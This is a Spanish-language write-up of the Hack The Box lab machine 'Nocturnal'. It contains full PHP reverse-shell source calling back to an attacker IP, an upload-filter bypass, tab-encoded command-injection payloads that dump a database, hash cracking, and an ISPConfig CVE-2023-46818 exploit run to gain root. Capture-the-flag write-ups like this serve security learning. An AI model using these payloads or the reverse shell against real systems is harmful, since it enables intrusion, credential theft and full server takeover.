Page cover

🟢Nocturnal

En esta ocasión vamos a hacer el writeup de la máquina Nocturnal de Hack the Box, una máquina Linux de dificultad easy.

Información General

  • Nombre de la máquina: Nocturnal

  • IP: 10.10.11.64

  • Sistema operativo: Linux

  • Dificultad: 🟢 Fácil

  • Fecha: 27/05/2025

Añadimos la IP al /etc/hosts

sudo echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

sudo nmap -v -sV -T5 10.10.11.64
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Observaciones: Solo encontramos puertos comunes abiertos. Nos interesa la aplicación web.


Reconocimiento Inicial

Acceso Web

Accedemos a http://nocturnal.htb y observamos que parece ser una plataforma donde podemos subir archivos word, excel y PDF.

Encontramos las páginas de login y registro, por lo que vamos a registrarnos para ver el interior de la aplicación:

Prueba de subida de archivos

A simple vista lo primero que se nos ocurre es subir una shell php para ganar acceso. Usaremos la siguiente reverse shell:

shell.php
<?php
$ip = '10.10.14.112';
$port = 4444;

$sock = fsockopen($ip, $port);
if (!$sock) {
    exit(1);
}

$descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr
);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);
if (!is_resource($process)) {
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

while (1) {
    $read = array($sock, $pipes[1], $pipes[2]);
    $write = NULL;
    $except = NULL;

    if (stream_select($read, $write, $except, NULL) === false) {
        break;
    }

    foreach ($read as $stream) {
        if ($stream == $sock) {
            $input = fread($sock, 1024);
            fwrite($pipes[0], $input);
        } else if ($stream == $pipes[1]) {
            $output = fread($pipes[1], 1024);
            fwrite($sock, $output);
        } else if ($stream == $pipes[2]) {
            $error = fread($pipes[2], 1024);
            fwrite($sock, $error);
        }
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>

Al darle a upload vemos que tiene algún tipo de validación:

Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

Bypass con doble extensión

Vamos a renombrar la shell.php a shell.php.pdf y probar si podemos bypassear el filtro:

Parece que podemos subirlo sin problema. Vamos a darle a Forward y vemos que se sube correctamente:

Al pulsar sobre el archivo se nos descarga un PDF y al abrirlo no nos deja ver el php:

Al subir un PDF válido pasa lo mismo, solamente nos descarga lo que subamos en nuestro equipo.


Enumeración Web

Fuzzing de Directorios

dirsearch -u http://nocturnal.htb -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Escritorio/machines/htb/nocturnal/reports/http_nocturnal.htb/_25-05-22_17-09-37.txt

Target: http://nocturnal.htb/

[17:09:37] Starting: 
[17:09:49] 302 -    0B  - /admin.php  ->  login.php
[17:10:01] 301 -  178B  - /backups  ->  http://nocturnal.htb/backups/
[17:10:01] 403 -  564B  - /backups/
[17:10:07] 302 -    0B  - /dashboard.php  ->  login.php
[17:10:19] 200 -  644B  - /login.php
[17:10:20] 302 -    0B  - /logout.php  ->  login.php
[17:10:30] 200 -  649B  - /register.php
[17:10:39] 403 -  564B  - /uploads
[17:10:39] 403 -  564B  - /uploads/dump.sql
[17:10:39] 403 -  564B  - /uploads/
[17:10:39] 403 -  564B  - /uploads/affwp-debug.log
[17:10:39] 403 -  564B  - /uploads_admin
[17:10:41] 302 -    3KB - /view.php  ->  login.php

Task Completed

Directorios encontrados:

  • /backups - No podemos acceder

  • /uploads - No podemos acceder

No se encuentran datos sensibles directamente accesibles.

Fuzzing de usuarios

Como vimos en Burp Suite al pulsar en un archivo subido vemos que le pasa el parámetro username, por lo que vamos a fuzzearlo para intentar obtener otros usuarios de la web:

GET /view.php?username=afsh4ck&file=shell.php.pdf HTTP/1.1

Host: nocturnal.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

DNT: 1

Connection: keep-alive

Referer: http://nocturnal.htb/dashboard.php

Cookie: PHPSESSID=348h8abmi9682ufu5ikmbinf2c

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Fuzzing con ffuf

ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=shell.php.pdf" \
     -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
     -H "Cookie: PHPSESSID=348h8abmi9682ufu5ikmbinf2c" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" \
     -mc 200 \
     -fr "User not found" \
     -v

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=shell.php.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=348h8abmi9682ufu5ikmbinf2c
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Regexp: User not found
________________________________________________

[Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 59ms]
| URL | http://nocturnal.htb/view.php?username=admin&file=shell.php.pdf
    * FUZZ: admin

[Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 37ms]
| URL | http://nocturnal.htb/view.php?username=amanda&file=shell.php.pdf
    * FUZZ: amanda

[Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 41ms]
| URL | http://nocturnal.htb/view.php?username=tobias&file=shell.php.pdf
    * FUZZ: tobias

Encontramos 3 usuarios!

  • admin

  • amanda

  • tobías


Impersonar usuarios

Vamos a usar Burp Suite para impersonar a los usuarios que hemos encontrado, a ver si han subido algún archivo interesante:

Conseguimos impersonarnos correctamente con el usuario amanda y vemos que ha subido un documento privacy.odt muy interesante. Vamos a descargarlo:

En content.xml encontramos la contraseña del usuario amanda:

Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J

La probamos por SSH pero no nos funciona. Vamos a probarla accediendo al servicio web:

Se nos ha habilitado la opción de Admin Panel, vamos a echarle un ojo:

Este admin panel nos permite seleccionar un archivo y visualizarlo en la parte inferior. Vemos que hay una sección de backups interesante.

Seleccionando por ejemplo la de register.php encontramos la ubicación de la base de datos:

<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');

Eso nos indica que está en la ruta:

/var/www/nocturnal_database/nocturnal_database.db

Command Injection

En la parte de abajo del todo de la página encontramos un input que podría ser vulnerable:

Al inyectar payloads en bash en el campo de contraseña utilizando codificación de URL, confirmamos RCE con comandos como:

%09bash%09-c%09"whoami"%09

Una cosa importante que aprendí durante esta etapa fue que, aunque los caracteres especiales obvios estaban bloqueados, los espacios en blanco codificados en URL como %09(tabulación) aún podían usarse para eludir el filtro e inyectar comandos con éxito.


Lectura de la base de datos

Volcamos la base de datos SQLite usando Burpsuite como se muestra a continuación. Primero hacemos un ls para confirmar la presencia de la base de datos:

%09bash%09-c%09"ls%09/var/www/nocturnal_database/"%09

Dumpear base de datos

Usaremos el siguiente payload:

password=%09bash%09-c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%09&backup=

Tenemos los hashes de todos los usuarios! Vamos a guardarlos en un archivo de texto y a intentar crackearlos:

INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');
INSERT INTO users VALUES(8,'test','60474c9c10d7142b7508ce7a50acf414');
INSERT INTO users VALUES(9,'lalala','9aa6e5f2256c17d2d430b100032b997c');
INSERT INTO users VALUES(10,'123','202cb962ac59075b964b07152d234b70');

Cracking con hashcat

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

9aa6e5f2256c17d2d430b100032b997c:lalala                   
202cb962ac59075b964b07152d234b70:123                      
60474c9c10d7142b7508ce7a50acf414:test12                   
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
<---SNIP--->

Encontramos una contraseña que coincide con el hash del usuario tobias: slowmotionapocalypse


User Flag

ssh tobias@nocturnal.htb

The authenticity of host 'nocturnal.htb (10.10.11.64)' can't be established.
ED25519 key fingerprint is SHA256:rpVMGW27qcXKI/SxVXhvpF6Qi8BorsH7RNh1jzi8VYc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:14: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nocturnal.htb' (ED25519) to the list of known hosts.
tobias@nocturnal.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

Last login: Mon May 26 15:05:03 2025 from 10.10.15.28

tobias@nocturnal:~$ ls
user.txt

tobias@nocturnal:~$ cat user.txt
75738eaf7157760209eb3f8a7********

Escalada de Privilegios

Enumeración de Privilegios

No podemos ejecutar sudo en la máquina:

tobias@nocturnal:~$ sudo -l

Sorry, user tobias may not run sudo on nocturnal.

Etc/passwd

tobias@nocturnal:/bin$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
smmta:x:115:120:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:116:121:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

Linpeas

Encontramos 4 usuarios con shell:

root:x:0:0:root:/root:/bin/bash
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh

Ejecutamos Linpeas y vemos puntos interesantes.

Servicios corriendo

Encontramos varios servicios corriendo internamente, entre los que nos llama la atención el puerto 8080, que suele identificarse con servicios web expuestos:

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -  

Vamos a configurar el pivoting SSH para acceder desde nuestro Kali:

ssh -L 8081:127.0.0.1:8080 tobias@10.10.11.64

Ahora accedemos a través del navegador en http://127.0.0.1:8080 y llegamos a un panel de login de ISP Config.

Prueba de contraseñas

Probando distintas contraseñas descubrí que el usuario admin usa la misma contraseña que tobias para acceder a través del login web:

Versión

Después de verificar la versión, investigué las vulnerabilidades y encontré un exploit conocido (CVE-2023–46818), que permitía a los usuarios autenticados lograr la ejecución remota de código.

python3 CVE-2023-46818.py http://127.0.0.1:8081 admin slowmotionapocalypse

[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_46dff2cd669587a61a057534
[+] CSRF Key: 90dcb44275c630680d183a73b341caca8bec5d11
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# whoami
root

ispconfig-shell# cat /root/root.txt
f4135314d76e357742e2a7************

Última actualización

¿Te fue útil?